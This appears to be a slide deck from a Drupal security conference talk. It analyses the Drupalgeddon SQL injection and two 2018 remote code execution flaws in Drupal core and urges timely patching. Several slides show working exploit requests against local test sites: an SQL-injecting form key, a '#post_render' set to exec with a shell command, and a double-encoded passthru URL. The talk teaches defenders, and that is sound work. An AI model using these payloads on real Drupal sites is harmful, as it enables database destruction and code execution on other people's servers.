Drupal + Technology

TRACK SUPPORTED BY

platform.sh
About me

Who’s me?

- Ezequiel "Zequi" Vázquez
- Backend Developer
- Sysadmin & DevOps
- Hacking & Security
- @RabbitLair
1. Introduction

2. Analysis of Vulnerabilities

3. What if I don’t patch?
1. Introduction

2. Analysis of Vulnerabilities

3. What if I don’t patch?
Life cycle of a patch

**General steps**

1. Discovery of a vulnerability → security team
2. Implementation of a patch, new release is published
3. Hackers study patch using reverse engineering → POC
4. POC published → massive attacks
Ok! I will patch my system, but ...
Ok! I will patch my system, but ...
Index

1. Introduction
2. Analysis of Vulnerabilities
3. What if I don’t patch?
SA-CORE-2014-005

- CVE-2014-3704
- Patch released on October 15th, 2014
- SQL injection as anonymous user
- All Drupal 7.x prior to 7.32 affected
- 25/25 score on NIST index
Arrays on HTTP POST method

- Method POST submits form values to server application
- Usually, integers or strings, but arrays are allowed

```html
<div class="form-item form-type-password form-item-pass-pass1 password-parent">
  <div class="password-strength">..</div>
  <label for="edit-pass-pass1">Password</label>
  <input class="password-field form-text password-process" type="password" id="edit-pass-pass1" name="pass[pass1]" size="25" maxlength="128" />
</div>

<div class="form-item form-type-password form-item-pass-pass2 confirm-parent">
  <div class="password-confirm" style="visibility: hidden;">
    <label for="edit-pass-pass2">Confirm password</label>
    <input class="password-confirm form-text" type="password" id="edit-pass-pass2" name="pass[pass2]" size="25" maxlength="128" />
  </div>
  <div class="password-suggestions description" style="display: block;">To change the current user password, enter the new password in both fields.</div>
</div>
```
Drupalgeddon

Database queries sanitization

- File *includes/database/database.inc*
- Method *expandArguments*
- Queries with condition like "*column IN (a, b, c, . . . )*"

```php
protected function expandArguments(&$query, &$args) {
    $modified = FALSE;

    // If the placeholder value to insert is an array, assume that we need
    // to expand it out into a comma-delimited set of placeholders.
    foreach (array_filter($args, 'is_array') as $key => $data) {
        $new_keys = array();
        foreach ($data as $i => $value) {
            $new_keys[$key . $i] = $value;
        }

        $query = preg_replace('#\$\w#', implode('', array_keys($new_keys)), $query);
    }

    // Update the args array with the new placeholders.
    unset($args[$key]);
    $args = $new_keys;

    $modified = TRUE;
}
```
Drupalgeddon

Database queries sanitization

- File *includes/database/database.inc*
- Method *expandArguments*
- Queries with condition like "*column IN (a, b, c, ...)*"

```plaintext
---134627185911656616671401904877
Content-Disposition: form-data; name="roles[2]"
2
---134627185911656616671401904877
Content-Disposition: form-data; name="roles[3]"
3
```
Drupalgeddon

Database queries sanitization

- File *includes/database/database.inc*
- Method *expandArguments*
- Queries with condition like “column IN (a, b, c, …)”

```php
:rids
Array
{
    [0] => 2
    [1] => 3
}

Array
{
    [:rids_0] => 2
    [:rids_1] => 3
}

SELECT DISTINCT b.* FROM {block} b LEFT JOIN {block_role} r ON b.module = r.module AND b.delta = r.delta WHERE b.status = 1 AND b.custom <> 0 AND (r.rid IN (:rids_0, :rids_1) OR r.rid IS NULL) ORDER BY b.weight, b.module
```
Drupalgeddon

The vulnerability

- Array index is not sanitized properly
- Poisoned variable is passed to database
- Result: Arbitrary SQL queries can be executed

<table>
<thead>
<tr>
<th>POST</th>
<th><a href="http://local.drupal.es:8081/user/login">http://local.drupal.es:8081/user/login</a></th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td>authorization  Headers (1)  Body  Pre-request Script</td>
</tr>
<tr>
<td></td>
<td>form-data  x-www-form-urlencoded  raw  binary</td>
</tr>
<tr>
<td>Key</td>
<td>Value</td>
</tr>
<tr>
<td>form_id</td>
<td>user_login_form</td>
</tr>
<tr>
<td>name[0]: DELETE FROM cache;#</td>
<td>admin</td>
</tr>
<tr>
<td>name[0]</td>
<td>admin</td>
</tr>
<tr>
<td>pass</td>
<td>1234</td>
</tr>
</tbody>
</table>
Drupalgeddon

The vulnerability

- Array index is not sanitized properly
- Poisoned variable is passed to database
- Result: Arbitrary SQL queries can be executed

```php
Array
(
    [0; DELETE FROM cache;" ] => admin
    [0] => admin
)

Array
(
    [:name_0; DELETE FROM cache;" ] => admin
    [:name_0] => admin
)

SELECT * FROM {users} WHERE name = :name_0; DELETE FROM cache;" , :name_0 AND status = 1
Let’s see it
Highly Critical RCE

SA-CORE-2018-002

- CVE-2018-7600
- Patch released on March 28th, 2018
- Remote code execution as anonymous user
- All versions affected prior to 7.58 and 8.5.1
- 24/25 score on NIST index
Highly Critical RCE

Renderable Arrays

- Forms API introduced in Drupal 4.7
- Arrays whose keys start with “#”
- Drupal 7 generalized this mechanism to render everything
- Recursive behavior
- Callbacks: post_render, pre_render, value_callback, ...

```php
$page = array(
    '#show_messages' => TRUE,
    '#theme' => 'page',
    '#type' => 'page',
    'content' => array(
        'system_main' => array(...),
        'another_block' => array(...),
        '#sorted' => TRUE,
    ),
);```
Submitting forms

- Submitted value is stored in `#value`
- HTTP POST method allows to submit array as value

<table>
<thead>
<tr>
<th>form-data</th>
<th>x-www-form-urlencoded</th>
<th>raw</th>
</tr>
</thead>
<tbody>
<tr>
<td>Key</td>
<td>Value</td>
<td></td>
</tr>
<tr>
<td>form_id</td>
<td>user_register_form</td>
<td></td>
</tr>
<tr>
<td>mail</td>
<td><a href="mailto:zequi@lullabot.com">zequi@lullabot.com</a></td>
<td></td>
</tr>
<tr>
<td>username</td>
<td>zequi</td>
<td></td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>form-data</th>
<th>x-www-form-urlencoded</th>
<th>raw</th>
</tr>
</thead>
<tbody>
<tr>
<td>foo</td>
<td></td>
<td>bar</td>
</tr>
<tr>
<td>my_array[0]</td>
<td></td>
<td>value1</td>
</tr>
<tr>
<td>my_array[1]</td>
<td></td>
<td>value2</td>
</tr>
</tbody>
</table>
Highly Critical RCE

The vulnerability

- Use POSTMAN or similar to bypass the form
- Submit an array value in a field where Drupal expects a string
- Submitted array contains indexes starting with "#"
Highly Critical RCE

The vulnerability

- Use Ajax API to trick Drupal to renderize again mail field
- `element_parents` determines part of form to be renderized
- Field is renderized, and `post_render` callback is executed

```
POST http://local.drupal.es:8082/user/register?element_parents=account/mail/%23value&ajax_form=1&wrapper_format=drupal_ajax

form-data

<table>
<thead>
<tr>
<th>Key</th>
<th>Value</th>
</tr>
</thead>
<tbody>
<tr>
<td>form_id</td>
<td>user_register_form</td>
</tr>
<tr>
<td>mail[a][#post_render]</td>
<td>exec</td>
</tr>
<tr>
<td>mail[a][#type]</td>
<td>markup</td>
</tr>
<tr>
<td>mail[a][#markup]</td>
<td>echo &quot;Hola&quot; &gt; sites/default/files/hola.txt</td>
</tr>
</tbody>
</table>
```
Highly Critical RCE

Let’s see it
Highly Critical RCE follow up

SA-CORE-2018-004

- CVE-2018-7602
- Patch released on April 25th, 2018
- Remote code execution as authenticated user
- All versions affected prior to 7.59 and 8.5.3
- 20/25 score on NIST index
Highly Critical RCE follow up

**Destination parameter**

- GET parameter used to redirect to an URL after execution
- It’s passed to `stripDangerousValues` to sanitize it
- Double encoding not detected: “#” → “%23” → “%2523”
Highly Critical RCE follow up

**Destination parameter**
- GET parameter used to redirect to an URL after execution
- It’s passed to `stripDangerousValues` to sanitize it
- Double encoding not detected: “#” → “%23” → “%2523”

**Option _trigering_element_name**
- File `includes/ajax.inc`
- Identifies the element used for submission
- Sets a form element to be renderized again
Highly Critical RCE follow up

The vulnerability: First step
- Perform a POST call to URL of a confirmation form
- \_triggering\_element\_name with value form\_id
- Destination contains a field with post\_render callback
- POST call redirects to confirmation form again → All set
- Payload must be URL encoded

<table>
<thead>
<tr>
<th>Key</th>
<th>Value</th>
</tr>
</thead>
<tbody>
<tr>
<td>form_id</td>
<td>node_delete_confirm</td>
</tr>
<tr>
<td>_triggering_element_name</td>
<td>form_id</td>
</tr>
<tr>
<td>form_token</td>
<td>UM3jqXPrVHgRp_R0c8deAnnRUCr9S1wqbHPLKaxw2Q</td>
</tr>
</tbody>
</table>
The vulnerability: First step

- Perform a POST call to URL of a confirmation form
- _trigering_element_name with value form_id
- Destination contains a field with post_render callback
- POST call redirects to confirmation form again → All set
- Payload must be URL encoded

http://local.drupal.es:8083/?q=node/1/delete&destination=node?q[%2523post_render]
[]=passthru%26q[%2523type]=markup%26q[%2523markup]=echo%20%22Hola%22%20%7C%20site%20%2Fdefault%2Ffiles%2Fhola.txt
Highly Critical RCE follow up

The vulnerability: Second step

- Execute form cancel action as AJAX POST call
- `/file/ajax/actions/cancel/%23options/path/[form_build_id]`
- Ajax API processes the form and executes poisoned `post_render`

http://local.drupal.es:8083/?q=file/ajax/actions/cancel/%23options/path/form-HYgna6uq6RirRH3-KGP_rByDy4olnMB6DmdrskT5-C4`
Highly Critical RCE follow up

Let’s see it
1 Introduction

2 Analysis of Vulnerabilities

3 What if I don’t patch?
Attacks in the wild

Don’t do this at home

- Full database dump
- Execute cryptocurrency mining malware
- Server used as malicious proxy
- Infect site users
- Defacement / Black SEO
- ???
TIME FOR SOME SECURITY TRAINING!!!
That's all, folks!

Thank you!

@RabbitLair
zequi[at]lullabot[dot]com